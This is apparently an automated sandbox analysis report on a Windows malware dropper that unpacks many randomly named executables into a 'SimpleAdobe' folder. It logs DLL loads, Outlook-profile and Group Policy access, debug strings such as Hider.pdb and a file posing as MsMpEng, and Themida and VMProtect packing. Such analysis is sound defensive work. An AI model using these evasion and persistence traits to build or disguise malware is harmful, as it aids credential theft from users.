Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: mozglue.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: wsock32.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: linkinfo.dll
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\Documents\SimpleAdobe\jNWxa0Pc_jGneI3LjcIqUJSt.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\jNWxa0Pc_jGneI3LjcIqUJSt.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\nDCHNmvRZpJ9pfO5sjkcNCmB.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\nDCHNmvRZpJ9pfO5sjkcNCmB.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: gpedit.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: activeds.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: dssec.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: dsuiext.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: framedynos.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: adsldpc.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: dsrole.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: logoncli.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: mpr.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: ntdsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: authz.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: webio.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: schannel.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: amsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe	Section loaded: msimg32.dll
Source: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Section loaded: acgenral.dll
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Section loaded: winmm.dll
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Section loaded: samcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Section loaded: msacm32.dll
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Section loaded: mpr.dll
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Section loaded: aclayers.dll
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Section loaded: sfc.dll
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll

Source: C:\Users\user\Desktop\BI6oo9z4In.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{EA502722-A23D-11D1-A7D3-0000F87571E3}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\BI6oo9z4In.exe

File written: C:\Windows\System32\GroupPolicy\gpt.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe

Directory created: C:\Program Files\Windows Media Player\background.jpg

Source: BI6oo9z4In.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: BI6oo9z4In.exe

Static file information: File size 6961664 > 1048576

Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: BI6oo9z4In.exe	Static PE information: Raw size of is bigger than: 0x100000 < 0x26c600
Source: BI6oo9z4In.exe	Static PE information: Raw size of .themida is bigger than: 0x100000 < 0x41a000

Source:	Binary string: mozglue.pdbP source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2407019605.000000006669D000.00000002.00000001.01000000.0000002B.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\SimpleAdobe\Hider.pdbaU source: uyMYdkI0kpEOwxO0H1smOiYQ.exe, 00000009.00000002.2300121475.0000028B35426000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: MsMpEng.pdbH source: 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000002.2301739597.000001F7DFBD0000.00000040.00001000.00020000.00000000.sdmp, 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000003.1926277001.000001F7DFBA0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2407723697.000000006685F000.00000002.00000001.01000000.0000002A.sdmp
Source:	Binary string: C:\dev\sqlite\dotnet-private\obj\2015\System.Data.SQLite.Linq.2015\Release\System.Data.SQLite.Linq.pdb source: LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000000.1873271965.0000000000B52000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: K:\2024-5-11\ZQDS\x64\Release\ZQDS.pdb source: 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000002.2301739597.000001F7DFBD0000.00000040.00001000.00020000.00000000.sdmp, 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000003.1926277001.000001F7DFBA0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Hider.pdbpdbder.pdb source: uyMYdkI0kpEOwxO0H1smOiYQ.exe, 00000009.00000002.2300121475.0000028B35426000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\Win32\Release\Protect32.pdb source: LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000002.2226589766.0000000069504000.00000002.00000001.01000000.00000021.sdmp, LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000002.2217247686.0000000005C50000.00000004.08000000.00040000.00000000.sdmp, LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000002.2185945758.0000000004453000.00000004.00000800.00020000.00000000.sdmp, LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000002.2185945758.0000000004A8F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: $K:\2024-5-11\ZQDS\x64\Release\ZQDS.pdb source: 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000002.2301739597.000001F7DFBD0000.00000040.00001000.00020000.00000000.sdmp, 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000003.1926277001.000001F7DFBA0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: BI6oo9z4In.exe, 00000000.00000000.1645575544.0000000140BB5000.00000080.00000001.01000000.00000003.sdmp
Source:	Binary string: F:\workspace\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\Release\apphost.pdbhhh source: BI6oo9z4In.exe, 00000000.00000003.1748709542.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747128518.00000000044FA000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747567614.000000000451B000.00000004.00000020.00020000.00000000.sdmp, 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000000.1873942119.00007FF7D9569000.00000002.00000001.01000000.0000000D.sdmp, 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000002.2305320005.00007FF7D9569000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: mozglue.pdb source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2407019605.000000006669D000.00000002.00000001.01000000.0000002B.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\win-x86.Release\corehost\cli\apphost\standalone\Release\apphost.pdbfffGCTL source: LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000000.1873271965.0000000000B52000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: F:\workspace\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\Release\apphost.pdb source: BI6oo9z4In.exe, 00000000.00000003.1748709542.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747128518.00000000044FA000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747567614.000000000451B000.00000004.00000020.00020000.00000000.sdmp, 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000000.1873942119.00007FF7D9569000.00000002.00000001.01000000.0000000D.sdmp, 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000002.2305320005.00007FF7D9569000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\SimpleAdobe\Hider.pdb source: uyMYdkI0kpEOwxO0H1smOiYQ.exe, 00000009.00000002.2300121475.0000028B35426000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\x64\Release\XBundlerTlsHelper.pdb source: BI6oo9z4In.exe, 00000000.00000000.1645575544.00000001409EB000.00000080.00000001.01000000.00000003.sdmp
Source:	Binary string: C:\Users\weckb\source\repos\Hider\Hider\obj\x64\Release\Hider.pdb source: uyMYdkI0kpEOwxO0H1smOiYQ.exe, 00000009.00000002.2263323991.0000028B1CB30000.00000002.00000001.00040000.00000009.sdmp, uyMYdkI0kpEOwxO0H1smOiYQ.exe, 00000009.00000002.2263513625.0000028B1CBDB000.00000004.00000800.00020000.00000000.sdmp, uyMYdkI0kpEOwxO0H1smOiYQ.exe, 00000009.00000000.1873497449.0000028B1AE12000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\win-x86.Release\corehost\cli\apphost\standalone\Release\apphost.pdb source: LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000000.1873271965.0000000000B52000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\weckb\source\repos\Hider\Hider\obj\x64\Release\Hider.pdbX source: uyMYdkI0kpEOwxO0H1smOiYQ.exe, 00000009.00000002.2300121475.0000028B35426000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: BI6oo9z4In.exe, 00000000.00000000.1645575544.0000000140BB5000.00000080.00000001.01000000.00000003.sdmp
Source:	Binary string: \??\C:\Windows\Hider.pdbat source: uyMYdkI0kpEOwxO0H1smOiYQ.exe, 00000009.00000002.2300121475.0000028B35426000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: MsMpEng.pdb source: 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000002.2301739597.000001F7DFBD0000.00000040.00001000.00020000.00000000.sdmp, 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000003.1926277001.000001F7DFBA0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2407723697.000000006685F000.00000002.00000001.01000000.0000002A.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\x64\Release\Protect64.pdb source: LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000002.2217247686.0000000005D0A000.00000004.08000000.00040000.00000000.sdmp, LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000002.2185945758.00000000049C1000.00000004.00000800.00020000.00000000.sdmp, LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000002.2185945758.0000000004B4C000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Unpacked PE file: 10.2.H61tUtaRHb9b8i2Ptr3ABL5b.exe.b20000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.rsrc:R;Unknown_Section6:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:R;.rsrc:R;Unknown_Section6:EW;.data:EW;
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Unpacked PE file: 14.2.FDsH_f9gemssdAs7w06vZwlL.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe	Unpacked PE file: 24.2.unbmFXV_GPtCMFoyWe7JMXak.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Zvaer Video Recorder\zvaervideorecorder.exe	Unpacked PE file: 29.2.zvaervideorecorder.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R;.pascal5:EW; vs .text:ER;.rdata:R;.data:W;.vmp0:ER;.rsrc:R;
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Unpacked PE file: 42.2.MPGPH131.exe.b0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.rsrc:R;Unknown_Section6:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:R;.rsrc:R;Unknown_Section6:EW;.data:EW;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Unpacked PE file: 14.2.FDsH_f9gemssdAs7w06vZwlL.exe.400000.0.unpack
Source: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe	Unpacked PE file: 24.2.unbmFXV_GPtCMFoyWe7JMXak.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Zvaer Video Recorder\zvaervideorecorder.exe	Unpacked PE file: 29.2.zvaervideorecorder.exe.400000.0.unpack

Source: uyMYdkI0kpEOwxO0H1smOiYQ.exe.0.dr

Static PE information: 0xA1298F1A [Mon Sep 6 14:56:26 2055 UTC]

Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe

Code function: 5_2_00159C90 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

5_2_00159C90

Source: initial sample

Static PE information: section where entry point is pointing to: .themida

Source: WuCWK8yqSjYPSqgAmQSoYHzV.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x74ed51
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x30f392
Source: setup[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x74ed51
Source: lumma2305[1].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x741c5
Source: oiii[1].exe.0.dr	Static PE information: real checksum: 0x43729 should be: 0x44c3b
Source: HXqqC3YwnKDsi7zeJNheTOoZ.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x688fa
Source: niko[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x30f392
Source: o2i3jroi23joj23ikrjokij3oroi[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x280f0c
Source: crt[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x58715f
Source: jNWxa0Pc_jGneI3LjcIqUJSt.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x58715f
Source: nDCHNmvRZpJ9pfO5sjkcNCmB.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x733f4
Source: DbsmJHnmNOlKFVGvWfuU03Cy.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x280f0c
Source: 0TN7dY_Xsg2P0AdS9Hdzos_q.exe.0.dr	Static PE information: real checksum: 0x43729 should be: 0x44c3b
Source: uyMYdkI0kpEOwxO0H1smOiYQ.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x14a7b

Source: BI6oo9z4In.exe	Static PE information: section name:
Source: BI6oo9z4In.exe	Static PE information: section name:
Source: BI6oo9z4In.exe	Static PE information: section name: .themida
Source: Default12_v2[1].exe.0.dr	Static PE information: section name: .vmp
Source: Default12_v2[1].exe.0.dr	Static PE information: section name: .vmp
Source: Default12_v2[1].exe.0.dr	Static PE information: section name: .vmp
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe.0.dr	Static PE information: section name: .vmp
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe.0.dr	Static PE information: section name: .vmp
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe.0.dr	Static PE information: section name: .vmp
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe.0.dr	Static PE information: section name:
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe.0.dr	Static PE information: section name:
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe.0.dr	Static PE information: section name:
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe.0.dr	Static PE information: section name:
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe.0.dr	Static PE information: section name:
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe.0.dr	Static PE information: section name:
Source: Retailer_prog[1].exe.0.dr	Static PE information: section name: .vmp
Source: Retailer_prog[1].exe.0.dr	Static PE information: section name: .vmp
Source: Retailer_prog[1].exe.0.dr	Static PE information: section name: .vmp
Source: _vgILobA0xXbWeowDxO5iZdo.exe.0.dr	Static PE information: section name: .vmp
Source: _vgILobA0xXbWeowDxO5iZdo.exe.0.dr	Static PE information: section name: .vmp
Source: _vgILobA0xXbWeowDxO5iZdo.exe.0.dr	Static PE information: section name: .vmp
Source: default_v2[1].exe.0.dr	Static PE information: section name: .vmp
